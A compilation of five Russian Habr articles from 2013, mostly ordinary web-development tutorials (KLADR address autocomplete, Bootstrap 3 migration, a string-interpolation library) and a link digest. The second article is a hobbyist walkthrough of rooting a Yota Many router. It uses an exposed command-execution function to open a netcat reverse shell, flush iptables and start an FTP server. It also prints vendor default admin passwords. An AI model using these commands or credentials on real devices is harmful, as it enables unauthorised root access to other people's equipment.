Автодополнение адреса для сайта

На хабре уже не раз публиковались статьи про сервис “КЛАДР в облаке”, который чуть более недели назад стал абсолютно открытым и бесплатным. Помимо сервиса реализованы модули интеграции для различных языков и платформ. Эта статья о том как сделать автодополнения адреса на своём сайте с помощью jQuery плагина “КЛАДР в облаке”.


К слову все примеры на официальном сайте реализованы с помощью данного плагина. Ок, начнём. Плагин Primepix.Kladr унаследован от jQuery.ui.autocomplete, поэтому для его корректной работы нам понадобится jQuery и jQuery UI.

Подключение необходимых библиотек

<!-- Theme jQuery UI --> <link href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" rel="stylesheet">  <!-- jQuery и jQuery UI --> <script src="http://code.jquery.com/jquery-1.9.1.js"></script> <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>  <!-- Kladr api -->  <script src="jquery.primepix.kladr.min.js"></script> 

Для jquery.primepix.kladr к сожалению пока CDN не поднят, поэтому его нужно скачать и скопировать в проект. Так же добавим input для которого будем реализовывать автодополнение. Код всей страницы будет выглядеть следующим образом:

<!DOCTYPE html> <html>     <head>         <title></title>         <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">          <!-- Theme jQuery UI -->         <link href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" rel="stylesheet">          <!-- jQuery и jQuery UI -->         <script src="http://code.jquery.com/jquery-1.9.1.js"></script>         <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>          <!-- Kladr api -->         <script src="jquery.primepix.kladr.min.js"></script>     </head>     <body>         <input type="text" name="input">     </body> </html> 

Теперь можно непосредственно подключить автодополнение из КЛАДРа. Для этого надо сначала зарегистрироваться на сайте сервиса и получить токен с ключом для доступа. После этого, в простейшем варианте, вам достаточно написать следующий код:

$('input').kladr({     token: 'token',     key: 'key' }); 

В этом случае будет производиться автодополнение регионами. Если вы хотите, чтобы автодополнение выполнялось районами или же населёнными пунктами нужно указать тип объектов для подстановки:

// Автодополнения городами $('input').kladr({     token: 'token',     key: 'key',     type: 'city' }); 

На самом деле записывать тип объекта строкой не обязательно, для этого есть перечисление $.ui.kladrObjectType.

$('input').kladr({     token: 'token',     key: 'key',     type: $.ui.kladrObjectType.CITY }); 

Теперь при вводе названия города вам будет предложен список вариантов.

Однако в этом случае автодополнение будет производится всеми населёнными пунктами России, а их не много не мало 200 000. Если надо ограничить список населённых пунктов определённым регионом можно задать в параметрах плагина код родительского объекта:

// Поиск в родительском объекте  $('input').kladr({     token: 'token',     key: 'key',     type: $.ui.kladrObjectType.CITY,     parentType: $.ui.kladrObjectType.REGION, // Тип родительского объекта     parentId: '7400000000000' // Код КЛАДР родительского объекта }); 

Следует отметить, что для автодополнения улиц надо обязательно указать код населённого пункта, а для автодополнения строений нужно обязательно указать код улицы.

Плагин также позволяет получать объекты вместе с их родителями (в объект будет добавлено поле parents, в котором они будут перечислены).

// Получение вместе с родителями $('input').kladr({     token: 'token',     key: 'key',     type: $.ui.kladrObjectType.STREET,     parentType: $.ui.kladrObjectType.CITY,     parentId: '7700000000000',     withParents: true }); 

Для тех, кто дочитал до данного места, самое интересное =) Если же вам понадобилось переопределить форматирование подписей в списке вариантов, это можно сделать передав в параметре label функцию для форматирования:

// Переопределение функции для формирование подписи $('input').kladr({     token: 'token',     key: 'key',     type: $.ui.kladrObjectType.CITY,     withParents: true,     label: function(obj, query){         var result = '';         for(var i in obj.parents){             result += obj.parents[i].typeShort + '. ' + obj.parents[i].name + ', ';         }         result += obj.typeShort + '. ' + obj.name;         return result;     } }); 

Вот здесь как раз и пригодился параметр withParents.

Аналогичным образом вы можете переопределить функцию для форматирования подставляемого в input значение:

// Переопределение функции для формирование подставляемого значения $('input').kladr({     token: 'token',     key: 'key',     type: $.ui.kladrObjectType.CITY,     value: function(obj, query){         return obj.typeShort + '. ' + obj.name;     } }); 

Ну и на последок. Запрос к сервису занимает некоторое время и если вы хотите во время запроса показывать такую же красивую ajax крутилку, как в расширенном примере на сайте сервиса, то можете использовать для этого события downloadStart и downloadStop.

// Использование событий $('input').bind('downloadStart', function(){     console.log('Отправлен запрос к kladr-api.ru'); });  $('input').bind('downloadStop', function(){     console.log('Получен ответ от kladr-api.ru'); }); 

На этом всё. Надеюсь статья показалась вам интересной. =)

ссылка на оригинал статьи http://habrahabr.ru/post/192132/

Заглянем под юбку новой Yota Many

Добрый день!
Как Вы думаете, каким минимальным количеством инструментов можно получить SSH-доступ к роутеру Yota Many?
А SSH-доступ с root-правами?

Вы, скорее всего удивитесь, но ответ — двумя, в обоих случаях. Это Ваш браузер и Netcat.

Я очень удивился, когда случайно в списке подключаемых JS-скриптов на странице http://status.yota.ru/ я увидел
этот http://status.yota.ru/js/devControl.js, а в нём вот такую функцию:

function cmsSystem(s,callback) {     if (simulator) {         setTimeout(function () { callback(0); },100);         return;     }  	var r={}; 	r.authparam=calcAuthParam(); 	r.system=s; 	r.command="system";     $.post(         devCtrlUrl, r, callback, "json"     ).error(devErrorHandler); } 

А использовалась эта функция, в этом же файле, например, так:

cmsSystem(         "( killall up_cli ; rm -rf /mnt/jffs2/upload/* ) 1>/dev/null 2>/dev/null",         function() { callback(true); }     );  

Чувствуете чем пахнет?
Да, эта функция выполняла команду в консоли роутера, но вывода результата она не имела (ну, точнее имела, но не совсем результата).
Тогда я решил поступить следующим образом.

Первое, что нам нужно — скачать Netcat(Windows, Unix) и запустить его с параметрами:

nc -n -vv -l -p 5566 

Где:

  • 5566 — порт на нашем компьютере, на котором Netcat будет ждать соеденения.

Получаем следующее:

listening on [any] 5566 ... 

Второе — запустить браузер и перейти в консоль JavaScript (в Google Chrome — F12, вкладка Console) и ввести команду:

cmsSystem("nc 10.0.0.33 5566 -e /bin/sh", null); 

Где:

  • 10.0.0.33 — IP-адрес выданный Вашему компьютеру роутером.
  • 5566 — порт на нашем компьютере, на котором мы ждем подключения.

Через мгновение в нашей консоли мы увидим:

connect to [10.0.0.33] from (UNKNOWN) [10.0.0.2] 48656 

После чего смело выполняем команды так, как будто мы это делали по SSH (все команды выполняются от имени root).

Информация о системе, процессоре, памяти и т.п.

id

uid=0(root) gid=0(root) 

uname -a

Linux 9615-cdp 3.0.21+ #1 PREEMPT Tue Apr 30 18:09:49 CST 2013 armv7l GNU/Linux 

cat /proc/version

Linux version 3.0.21+ (kevin@kevin-android-build-system) (gcc ver1117 (prerelease) (GCC))  #1 PREEMPT Tue Apr 30 18:09:49 CST 2013 

cat /proc/cpuinfo

Processor       : ARMv7 Processor rev 1 (v7l) BogoMIPS        : 274.02 Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 CPU implementer : 0x41 CPU architecture: 7 CPU variant     : 0x0 CPU part        : 0xc05 CPU revision    : 1  Hardware        : QCT MSM9615 CDP Revision        : 0000 Serial          : 0000000000000000 

cat /proc/meminfo

MemTotal:          44184 kB MemFree:            2476 kB Buffers:               0 kB Cached:            10108 kB SwapCached:            0 kB Active:            13868 kB Inactive:           4840 kB Active(anon):       8652 kB Inactive(anon):       16 kB Active(file):       5216 kB Inactive(file):     4824 kB Unevictable:           0 kB Mlocked:               0 kB HighTotal:             0 kB HighFree:              0 kB LowTotal:          44184 kB LowFree:            2476 kB SwapTotal:             0 kB SwapFree:              0 kB Dirty:                 0 kB Writeback:             0 kB AnonPages:          8616 kB Mapped:             5388 kB Shmem:                68 kB Slab:              16900 kB SReclaimable:      11744 kB SUnreclaim:         5156 kB KernelStack:        1336 kB PageTables:         1216 kB NFS_Unstable:          0 kB Bounce:                0 kB WritebackTmp:          0 kB CommitLimit:       22092 kB Committed_AS:     484816 kB VmallocTotal:     827392 kB VmallocUsed:      301728 kB VmallocChunk:     519164 kB 

free -m

             total         used         free       shared      buffers Mem:            43           40            2            0            0 -/+ buffers:                 40            2 Swap:            0            0            0 

df -h

Filesystem                Size      Used Available Use% Mounted on /dev/root                33.6M     30.1M      3.5M  90% / tmpfs                    21.6M     52.0K     21.5M   0% /tmp none                     21.6M      8.0K     21.6M   0% /dev tmpfs                    21.6M      4.0K     21.6M   0% /dev/shm /dev/mtdblock15          44.1M      1.4M     42.7M   3% /mnt/jffs2 /dev/mtdblock10          28.8M     19.9M      8.9M  69% /usr 

top

Mem: 41756K used, 2428K free, 0K shrd, 0K buff, 10136K cached CPU: 30.7% usr 23.0% sys  0.0% nic 46.1% idle  0.0% io  0.0% irq  0.0% sirq Load average: 1.01 1.09 1.11 1/167 8372  m  PID  PPID USER     STAT   VSZ %MEM CPU %CPU COMMAND  8372  4979 root     R     3040  6.8   0 23.0 top   862     1 root     S    96700218.3   0  0.0 QCMAP_ConnectionManager /etc/mobil   672     1 root     S    86448195.2   0  0.0 /usr/bin/qmuxd   864     1 root     S    46288104.5   0  0.0 lte_cm   691     1 root     S    44960101.5   0  0.0 /usr/bin/netmgrd -u /etc/udhcpc.d/   644     1 root     S    36400 82.2   0  0.0 qti  4368     1 root     S    36384 82.1   0  0.0 /usr/bin/cxmapp   602     1 root     S    34588 78.1   0  0.0 /bin/msg_center   540     1 root     S    25424 57.4   0  0.0 /sbin/adbd   707   688 root     S    20396 46.0   0  0.0 /usr/bin/mbimd   663     1 root     S    20212 45.6   0  0.0 /usr/bin/atfwd_daemon  1211     1 root     S    18272 41.2   0  0.0 /yota/cgi-bin/wpdaemon.cgi start   775     1 root     S    18140 40.9   0  0.0 /bin/user_in_ctl server   657     1 root     S    11604 26.2   0  0.0 /usr/bin/diagrebootapp   783     1 root     S     9940 22.4   0  0.0 /bin/epd_ctl  1116     1 root     S     4992 11.2   0  0.0 lighttpd -f /etc2/lighttpd/lighttp   619   612 root     S     4368  9.8   0  0.0 up_cli  4544     1 root     S     3908  8.8   0  0.0 hostapd -B /tmp/hostapd1.conf   612     1 root     S     3040  6.8   0  0.0 /bin/sh /yota/up_cli_watchdog.sh  4274     1 root     S     3040  6.8   0  0.0 /bin/sh /bin/modem_led.sh 

iptables -L

Chain INPUT (policy ACCEPT) target     prot opt source               destination DROP       all  --  anywhere             10.0.0.0/24  Chain FORWARD (policy ACCEPT) target     prot opt source               destination DROP       all  --  anywhere             anywhere DROP       all  --  anywhere             10.0.0.4  Chain OUTPUT (policy ACCEPT) target     prot opt source               destination 

Устройство, мягко говоря, не блещет производительностью.
У меня не получилось поставить что-либо через ipkg, из-за малого количества оперативки и отсутствия SWAP — ipkg постоянно падает с «segmentation fault» (может у меня руки кривые?)

Включаем стандартную админ-панель производителя

Включаем встроенный FTP-сервер

Для начала нам надо почистить iptables:

cmsSystem("iptables -F", null); cmsSystem("iptables -X", null); cmsSystem("iptables -t nat -F", null); cmsSystem("iptables -t nat -X", null); cmsSystem("iptables -t mangle -F", null); cmsSystem("iptables -t mangle -X", null); cmsSystem("iptables -P INPUT ACCEPT", null); cmsSystem("iptables -P FORWARD ACCEPT", null); cmsSystem("iptables -P OUTPUT ACCEPT", null); 

После чего перезагрузить роутер:

rebootDevice(null); 

Далее включаем FTP-сервер:

cmsSystem("tcpsvd -vE 0.0.0.0 21 ftpd -w /", null); 

И любым FTP-клиентом заходим на ftp://10.0.0.1:21/

Идем в /etc2/lighttpd/ и правим lighttpd.conf, добавляем после $HTTP["host"] == "status.yota.ru" { ... } вот это:

$HTTP["host"] == "full.yota.ru" {     server.document-root = "/www/" } 

Идем в /etc/ и правим hosts, добавляем в конце файла:

10.0.0.1 full.yota.ru 

Переходим в браузере по адресу http://full.yota.ru/.
Вводим имя пользователя gemtek и пароль gemtek0978 (или operator, пароль operator).
Наслаждаемся нормальной, не урезанной административной панелью:
image

Имена пользователей находятся в /mnt/jffs2/conf/user/ui.conf, пароли в /mnt/jffs2/conf/user/httpasswd.conf
Пароли настоятельно рекомендую изменить!

На этом моё баловство закончилось, но я надеюсь, что в комментариях подскажут как побороть проблемы с ipkg и восстановлением состояния iptables после перезагрузки(которое, кстати, не влияет на FTP сервер).

ссылка на оригинал статьи http://habrahabr.ru/post/192118/

Дайджест интересных материалов из мира веб-разработки и IT за последнюю неделю №72 (24 — 31 августа 2013)

Предлагаем вашему вниманию очередную подборку с ссылками на новости, интересные материалы и полезные ресурсы.


Веб-разработка

CSS

JavaScripts

Браузеры

Веб-инструменты

Новости

Демо

Сайты с интересным дизайном и функциональностью

  • reunitetheriver.com — одностраничный сайт социального проекта с приятной анимацией и выразительным мультяшным дизайном
  • neotokio.it — приятное портфолио с нестандартной заставкой и навигацией
  • pixelstadium.com — сайт с интерактивными параллакс-эффектами
  • junduffy.co.nz — нестандартная для магазинов раскладка сайта и дизайн
  • lordandtaylorfirstlook.com еще один нестандартный сайт-магазин с интересными параллакс-эффектами
  • rosendaluppsala.se — полноэкранный сайт с анимациями, drag-навигацией и аскетичным дизайном
  • abbyputinski.com — графический сайт с интерактивной картой и множеством анимированных элементов
  • http://beoplay.com/Products/BeoplayH3 — эффектный одностраничный промо-сайт с параллакс-эффектами и эффектом движения вглубь
  • reunitetheriver.com — познавательный одностраничный сайт на канвасе
  • kennedyandcastro.com — стильный горизонтальный сайт
  • summer.tcm.com — сайт с нестандартной навигацией, посвященный фильмам
  • canva.com — сайт с интересными элементами — от фонового видео до параллакса

Дизайн

Подборка бесплатных дизайнерских печенек

Занимательное

Дайджест за прошлую неделю.
Материал подготовили dersmoll и alekskorovin

ссылка на оригинал статьи http://habrahabr.ru/company/zfort/blog/192128/

Переход с bootstrap 2 на bootstrap 3

Этот небольшой обзор предназначенный тем, кто хочет быстро перевести свой сайт на новый бутстрап.

На днях вышла третья версия этого замечательного фреймворка, и, естественно, сразу захотелось посмотреть, как будут выглядеть сделанные на второй версии проекты, если просто поменять 2-ю на 3-ю. Оказалось что никак. Всё расползлось, разъехалось и кое-что перестало работать.

После чего захотелось всё быстренько поправить. И вот, что из этого получилось, читаем дальше.

Итак, первое нововведение — новый bootstrap не переопределяет стили элементов по-умолчанию, как это было раньше. С одной стороны, это, в принципе, правильно, потому что у него в стилях было куча !iportant и он навешивался на практически все теги, поэтому, если какой то input казался чересчур высоким, то приходилось переопределять и не всегда это было удобно.

Но, скорее всего, именно за эту особенность bootstrap многие и полюбили: без лишних телодвижений — подключил библиотечку и страница преобразилась.

Теперь всё с точностью до наоборот: никакой самодеятельности, хочется красивенький input с синей подсветкой, — нужно прописать в нем соответствующий класс.

<input  class="form-control" type="text" /> 

Нужен стильный заголовок страницы, оборачиваем его так:

<div class="page-header">   <h1>Блог Васи <small>Только умные мысли</small></h1> </div> 
Кнопки

Убран класс .btn-inverse. Теперь придётся выбирать ему замену или писать что-то своё.

Класс .btn теперь тоже не имеет собственного оформления, и везде, где была обычная кнопка теперь обязательно нужно добавить btn-default, чтобы она обрела подобающий кнопке вид.

Классы, отвечающие за размеры кнопок, полей ввода и well-ов, обрели более лаконичные названия. Например, вместо btn-small стало btn-sm:

<input class="btn btn-default btn-sm"  type="submit" /> <span class="well well-lg"></span> 

Стоит заметить, что размер можно назначать сразу группе элементов и это значительно удобней и логичней, чем, например, на каждую кнопку по-отдельности.

Темы

Теперь в бутстрапе появилось такое понятие как темы. Сразу в комплекте идёт файл bootstrap-theme.css, который незначительно переопределяет внешний вид. Его можно использовать как основу для создания собственных тем, хотя, нужно признать, что он пока далеко не полно покрывает все визуальные стили. Созданием собственной темы можно заняться и с помощью веб-интерфейса на сайте фреймворка, где все стили удобно сгруппированы.

В предложенной же «теме по-умолчанию» на первый взгляд не понравилось то, что кнопки при наведении практически никак не реагируют, в то же время, без темы .btn-default, можно сказать, вообще «никакого цвета». К счастью, это легко переопределяется в bootstrap-theme.css

/* Переопределяем цвет кнопки */ .btn-default {   text-shadow: 0 1px 0 #fff;   background-image: -webkit-gradient(linear, left 0%, left 100%, from(#ffffff), to(#e6e6e6));   background-image: -webkit-linear-gradient(top, #ffffff, 0%, #e6e6e6, 100%);   background-image: -moz-linear-gradient(top, #ffffff 0%, #e6e6e6 100%);   background-image: linear-gradient(to bottom, #ffffff 0%, #e6e6e6 100%);   background-repeat: repeat-x;   border-color: #e0e0e0;   border-color: #ccc;   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0); } /* Переопределяем цвет кнопки при наведении */ .btn-default:hover {     background-color: gray !important;     background-image: -webkit-gradient(linear, left 0%, left 100%, from(#ffffff), to(gray));     background-image: -webkit-linear-gradient(top, #ffffff, 0%, gray, 100%);     background-image: -moz-linear-gradient(top, #ffffff 0%, gray 100%);     background-image: linear-gradient(to bottom, #ffffff 0%, gray 100%);     border-radius:3px; } 
Тулбары

Тут тоже все немного усложнили. Вместо рабочего старого варианта:

<div class="navbar navbar-fixed-top navbar-inverse">     <div class="navbar-inner">         <div class="container" >             <a href="/" class="pull-left navbar-brand">Название</a>             <ul class="nav pull-left">             </ul>         </div>     </div> </div> 

вот такой новый

<div class="navbar navbar-fixed-top navbar-inverse" style="">     <div class="navbar-inner"  >         <div class="container" >                 <a href="/" class="pull-left navbar-brand" >Название</a>                 <ul class="nav navbar-nav pull-left">                  </ul>             </div>         </div> </div> 

Обратите внимание на класс .navbar-nav, который теперь должен сопровождать класс .nav

Диалоги

Диалоги теперь тоже усложнились. Было:

<div class="modal hide fade " style="width:400px; margin-left:-200px; z-index:1000000;">       <div class="modal-header">            <button class="close" data-dismiss="modal">×</button><h3>Галерея</h3>       </div>       <div class="modal-body" style="width:380px; height:250px;"></div>        <div class="modal-footer"><div class="btn-group">              <span  class="btn yes btn-primary" data-dismiss="modal">Вставить</span>              <span  class="btn cancel btn-danger" data-dismiss="modal">Закрыть</span>        </div>        </div> </div> 

Стало:

<div class="modal">     <div class="modal-dialog">         <div class="modal-content">             <div class="modal-header">                 <button class="close" data-dismiss="modal">×</button>                 <h3 class="modal-title">Вставка кода</h3>             </div>             <div class="modal-body" ></div>             <div class="modal-footer">                 <div class="btn-group">                     <span  class="btn yes btn-primary" data-dismiss="modal">Вставить</span>                     <span  class="btn cancel btn-danger" data-dismiss="modal">Закрыть</span>                 </div>             </div>         </div>     </div> </div> 

Тут разработчики действительно постарались и диалоги стали чуть менее глючными и более логичными, особенно в плане управления размерами диалогового окна.

Сетка

Сетку основательно переделали. Наверно, это самое существенное изменение в фреймворке, обнаружив которое, в некоторых проектах, можно только недоумённо развести руками — больше нет фиксированных размеров, признаётся только динамическая ширина столбцов. Классы разметки, отвечающие за ширину колонок, .span2, .span3 и т.д. заменены на соответствующие .col-md-2, .col-md-3…

Картинки

Больше нет класса img-polaroid. Вместо него можно использовать img-thumbnail

Иконки

Иконки самого bootstrap теперь реализованы шрифтом, а не спрайтами. Вместе с этим изменены и названия классов, которые теперь все придётся заменить.

<i class="icon-pencil"></i>  

надо писать

<i class="glyphicon glyphicon-pencil"></i>  

Если же используется Font-Awesome, то, в принципе, ничего менять не нужно и, к счастью, всё продолжит работать по-старому. Возможно, это хороший повод подключить этот замечательный шрифт, благо, запас иконок у него определённо богаче.

Badge

Если кто-то пользовался разноцветными, то теперь их нет от слова совсем. Вместо этого бейджи подстраиваются под цвет элементов и по-умолчанию в большинстве случаев они просто серые. Ради цветов придётся бейджи заменить на метки (.label)

Пожалуй, это все, что бросилось в глаза в первом приближении.

Полезные ссылки

Справка отличий при миграции (англ.)
Веб-интерфейс настройки стилей bootstrap

ссылка на оригинал статьи http://habrahabr.ru/post/191952/

Строковая интерполяция. Сказка-быль

Постановка задачи

Совершенно случайно я превратился из питониста в JS-разработчика, и на мою хрупкую детскую психику обрушился непосильный груз вещей, которых в JS нет. Например, нет удобного форматирования строк. На питоне можно написать:

'hello, %(thing)s' % {'thing': 'world'} 

Или вот так:

'hello, {thing}'.format(**{'thing': 'world'}) 



Ближайший аналог в JS — конкатенация (operator +), которая очень плохо масштабируется с увеличением длины строки, да еще и выглядит безобразно до предела:

'<div class="input-append"><input type="text" name="username" '+ 'id="signup_username" placeholder="'+placeholder+'"><input '+ 'type="hidden" name="password" value="'+generated+'"><button '+ ... 

По возможности хотелось бы этого избежать.

Jeremy Ashkenas, когда разрабатывал CoffeeScript, также обратил на эту особенность JS внимание, и случайно диалект PHP:

"hello, #{document.cookie}" 

Это тоже плохо, к тому же работает только для строковых литералов, загрузить шаблон из файла не получится.

Мне в этой штуке нравится похожий на Ruby синтаксис, но не нравится все остальное, особенно выполнение произвольного кода внутри строки. Таким образом постановка задачи:

– написать функцию
– которая подставляет переменные в строку
– загруженную из файла
– не PHP

Поиск решения

Обычно в таких случаях используют готовые библиотеки, более того, в NPM по слову template находится более двух тысяч пакетов.

В самом деле, mustache или lodash (underscore.js) работают превосходно, но… очень медленно: 10-20 мкс на одну подстановку. Не предел мечтаний ни в коем случае, особенно когда «продвинутый» функционал вроде циклов и фильтров совершенно не нужен.

А конкатенация, хоть и выглядит страшно, как звериный оскал коллективизма, работает все-таки в 10-30 раз быстрее. Таким образом, мы добавляем к постановке задачи:

– транслируется в конкатенацию
– и работает очень быстро

Вот теперь по этой спецификации можно изобретать велосипед. Because why not.

Что получилось

У меня получилась вот такая штука: Ruby-like simple string interpolation (GitHub)

В ней 9 строк кода, и она выполняет миллион триста тысяч подстановок в секунду (около 0,77 мкс на подстановку) на той же машине, где mustache делает 130 тысяч, а lodash/underscore 45 тысяч подстановок в секунду.

Вывод: за счет отказа от сложных функций шаблонизатора (циклы, условные выражения) было достигнуто ускорение в 10-30 раз по сравнению с популярными библиотеками, не прибегая к выполнению произвольного кода в шаблоне.

RSSI.js можно установить из npm очевидной командой npm install rssi, поддерживается также Bower (bower install rssi); на стороне клиента можно использовать AMD (RequireJS), а можно не использовать.

Спасибо за прочитывание этого не очень связного текста! Пишите патчи, господа хорошие, и до новых встреч.

ссылка на оригинал статьи http://habrahabr.ru/post/192124/